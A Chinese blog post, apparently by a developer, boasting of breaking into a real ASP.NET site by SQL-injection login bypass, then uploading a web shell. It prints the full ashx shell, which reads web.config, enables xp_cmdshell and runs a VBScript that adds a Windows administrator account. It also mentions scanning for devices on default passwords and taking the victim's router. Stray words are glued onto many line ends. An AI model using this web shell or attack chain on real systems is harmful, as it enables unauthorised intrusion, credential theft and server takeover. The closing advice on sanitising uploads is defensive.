ASP.NET網站入侵第二波(LeaRun.信息化快速開發框架 已被筆者拿下)html
詳細介紹請看第二波程序員
首先我要申明的是否是什麼語言寫出來的程序就不安全,而是得看寫代碼的人如何去寫這個程序web
前些日子我去客戶那調研,發現客戶的監控系統用的是海康威視的硬盤錄像機,而後默認用戶名是amdin 密碼是12345,回來後就想玩一玩看看有多少人用的是默認密碼,因而就寫了個掃描程序,很快掃描到了一大批網站,也獲得不少採用的是默認用戶名和密碼。sql
玩了一兩天後發現沒什麼好玩的,就隨便在裏面找找掃描記錄,看到一些後臺登錄地址,因而就都測試下,而後就發現了這個網站:shell
最開始我是測試弱口令,數據庫
admin amdin 等,隨便測試了幾個,沒成功,因而開始測試sql的防注入,用戶名輸入 1' or 1=1-- 密碼隨便輸了個1 登錄,竟然登錄成功了。。。。安全
但發現登錄進來後報錯了,,, 想了下多是用戶名的問題,因而就找頁面看看能不能看到個人登錄用戶名,最後找到寫郵件裏面看到了服務器
固然若是入侵只到這 你確定會絕對弱爆了。。。其實固然也是,由於我拿下了他的數據和程序。。。固然最好拿下了他的服務器,得知他服務器是作的端口映射,因而又拿下了他的路由器,而後就沒有再繼續往下進行了,固然還能夠繼續下去,好比 路由器的dns劫持,頁面重定向,端口鏡像等等框架
下面我開始介紹主要入侵頁面,文件上傳頁面ide
本身寫了個ashx頁面,上傳
代碼很簡單,就是讀取網站的web.config文件而後以文本形式輸出,
我先簡單說下入侵流程:
一、讀取web.config獲得數據庫鏈接
二、利用SQL Server執行命令添加Windows用戶(由於網站默認是iis用戶,沒有權限直線net等相關操做,但SQL Server是基於本地服務運行的,權限很高)
我貼出我上傳的ashx文件代碼:
1 <%@ WebHandler Language="C#" Class="TextLd" %> 2 using System; 3 using System.Collections.Generic; 4 using System.Linq; 5 using System.Web; 6 using System.Data.SqlClient; 7 8 public class TextLd : IHttpHandler 9 { 10 public void CreateLocalUser(string newPath) 11 { 12 System.Diagnostics.Process.Start(@"d:\1.vbs"); 13 System.IO.File.WriteAllText(@"d:\1.vbs", "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '屬性,admin組\r\nod=ob.Create(\"user\",\"test\") '創建用戶 \r\nSetPassword \"1234\" '設置密碼 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\""); 14 } 15 public void ShowWebConfig(HttpContext context) 16 { 17 context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config"))); 18 } 19 public void WriteVbs(HttpContext context) 20 { 21 System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"), "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '屬性,admin組\r\nod=ob.Create(\"user\",\"test\") '創建用戶 \r\nSetPassword \"1234\" '設置密碼 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\""); 22 } 23 public void ExecuteSql(string connection, string sql) 24 { 25 using (SqlConnection con = new SqlConnection(connection)) 26 { 27 using (SqlCommand commd = new SqlCommand(sql, con)) 28 { 29 con.Open(); 30 commd.ExecuteNonQuery(); 31 con.Close(); 32 } 33 } 34 } 35 public void ProcessRequest(HttpContext context) 36 { 37 context.Response.ContentType = "text/plain"; 38 context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config"))); 39 try 40 { 41 var connection = context.Request.QueryString["connection"]; 42 switch (context.Request.QueryString["method"]) 43 { 44 case "1": WriteVbs(context); break; 45 case "2": 46 ExecuteSql(connection,@"sp_configure 'show advanced options',1 reconfigure"); 47 ExecuteSql(connection,@"sp_configure 'xp_cmdshell',1 reconfigure");//開啓數據庫的xp_cmdshell 48 break; 49 case "3": ExecuteSql(connection, "exec master..xp_cmdshell 'cscript " + context.Request.MapPath("~/1.vbs") + "'"); 50 break; 51 default: 52 ShowWebConfig(context); 53 break; 54 } 55 } 56 catch (Exception ex) 57 { 58 context.Response.Write(ex.Message); 59 } 60 context.Response.End(); 61 } 62 public bool IsReusable 63 { 64 get 65 { 66 return false; 67 } 68 } 69 }
而後一次執行,就這樣服務器就被我拿下了。。。 創建了一個用戶名爲test密碼是1234的超級管理員用戶,因而測試下遠程鏈接
而後弄乾啥,你們都知道的。。。。
固然,若是不拿下他服務器,你想一想你都能直線你本身寫的代碼了。。。 什麼壞事幹不了。。。 固然本人只是測試了下可行性,就算不拿下服務器,執行sql語句把他數據庫備份下載下來拿還不是分分鐘的事情?
好了 我來總結下這次入侵吧,最主要的婁底其實不是他的sql注入(我的以爲,固然他是導火索),而是文件上傳,大部分程序員在寫文件上傳功能的時候,以前客戶上傳過來的文件保存到網站目錄下的某個文件夾,不作任何處理,這也就是致使了他服務器被我拿下的最主要的入口。
因此我仍是奉勸你們一下,作文件上傳仍是對文件進行下處理比較好,具體怎麼處理我想聰明的你確定有不少方法。。。